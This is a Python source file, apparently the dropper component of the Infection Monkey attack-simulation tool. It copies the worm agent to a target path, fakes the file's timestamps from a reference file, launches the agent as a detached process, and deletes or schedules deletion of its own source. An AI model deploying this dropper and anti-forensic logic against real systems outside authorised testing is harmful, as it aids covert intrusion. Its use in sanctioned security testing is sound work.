monkey/chaos_monkey/dropper.py

126 lines
5.0 KiB
Python

import os
import sys
import time
import ctypes
import shutil
import pprint
import logging
import subprocess
from ctypes import c_char_p
from control import ControlClient
from model import MONKEY_CMDLINE
from config import WormConfiguration
if "win32" == sys.platform:
from win32process import DETACHED_PROCESS
else:
DETACHED_PROCESS = 0
__author__ = 'itamar'
LOG = logging.getLogger(__name__)
MOVEFILE_DELAY_UNTIL_REBOOT = 4
class MonkeyDrops(object):
def __init__(self, args):
if args:
dest_path = os.path.expandvars(args[0])
else:
dest_path = os.path.expandvars(WormConfiguration.dropper_target_path if sys.platform == "win32" \
else WormConfiguration.dropper_target_path_linux)
self._monkey_args = args[1:]
self._config = {'source_path': os.path.abspath(sys.argv[0]),
'destination_path': args[0]}
def initialize(self):
LOG.debug("Dropper is running with config:\n%s", pprint.pformat(self._config))
def start(self):
# we copy/move only in case path is different
file_moved = (self._config['source_path'].lower() == self._config['destination_path'].lower())
# first try to move the file
if not file_moved and WormConfiguration.dropper_try_move_first:
try:
shutil.move(self._config['source_path'],
self._config['destination_path'])
LOG.info("Moved source file '%s' into '%s'",
self._config['source_path'], self._config['destination_path'])
file_moved = True
except (WindowsError, IOError, OSError), exc:
LOG.debug("Error moving source file '%s' into '%s': %s",
self._config['source_path'], self._config['destination_path'],
exc)
# if file still need to change path, copy it
if not file_moved:
try:
shutil.copy(self._config['source_path'],
self._config['destination_path'])
LOG.info("Copied source file '%s' into '%s'",
self._config['source_path'], self._config['destination_path'])
except (WindowsError, IOError, OSError), exc:
LOG.error("Error copying source file '%s' into '%s': %s",
self._config['source_path'], self._config['destination_path'],
exc)
return False
if WormConfiguration.dropper_set_date:
try:
ref_stat = os.stat(WormConfiguration.dropper_date_reference_path)
except:
LOG.warn("Cannot set reference date using '%s', file not found",
WormConfiguration.dropper_date_reference_path)
else:
try:
os.utime(self._config['destination_path'],
(ref_stat.st_atime, ref_stat.st_mtime))
except:
LOG.warn("Cannot set reference date to destination file")
monkey_cmdline = MONKEY_CMDLINE % {'monkey_path': self._config['destination_path'],
}
if 0 != len(self._monkey_args):
monkey_cmdline = "%s %s" % (monkey_cmdline, " ".join(self._monkey_args))
monkey_process = subprocess.Popen(monkey_cmdline, shell=True,
stdin=None, stdout=None, stderr=None,
close_fds=True, creationflags=DETACHED_PROCESS)
LOG.info("Executed monkey process (PID=%d) with command line: %s",
monkey_process.pid, monkey_cmdline)
time.sleep(3)
if monkey_process.poll() is not None:
LOG.warn("Seems like monkey died too soon")
def cleanup(self):
if (self._config['source_path'].lower() != self._config['destination_path'].lower()) and \
os.path.exists(self._config['source_path']) and \
WormConfiguration.dropper_try_move_first:
# try removing the file first
try:
os.remove(self._config['source_path'])
except Exception, exc:
LOG.debug("Error removing source file '%s': %s",
self._config['source_path'], exc)
# mark the file for removal on next boot
dropper_source_path_ctypes = c_char_p(self._config['source_path'])
if 0 == ctypes.windll.kernel32.MoveFileExA( dropper_source_path_ctypes, None,
MOVEFILE_DELAY_UNTIL_REBOOT):
LOG.debug("Error marking source file '%s' for deletion on next boot (error %d)",
self._config['source_path'], ctypes.windll.kernel32.GetLastError())
else:
LOG.debug("Dropper source file '%s' is marked for deletion on next boot",
self._config['source_path'])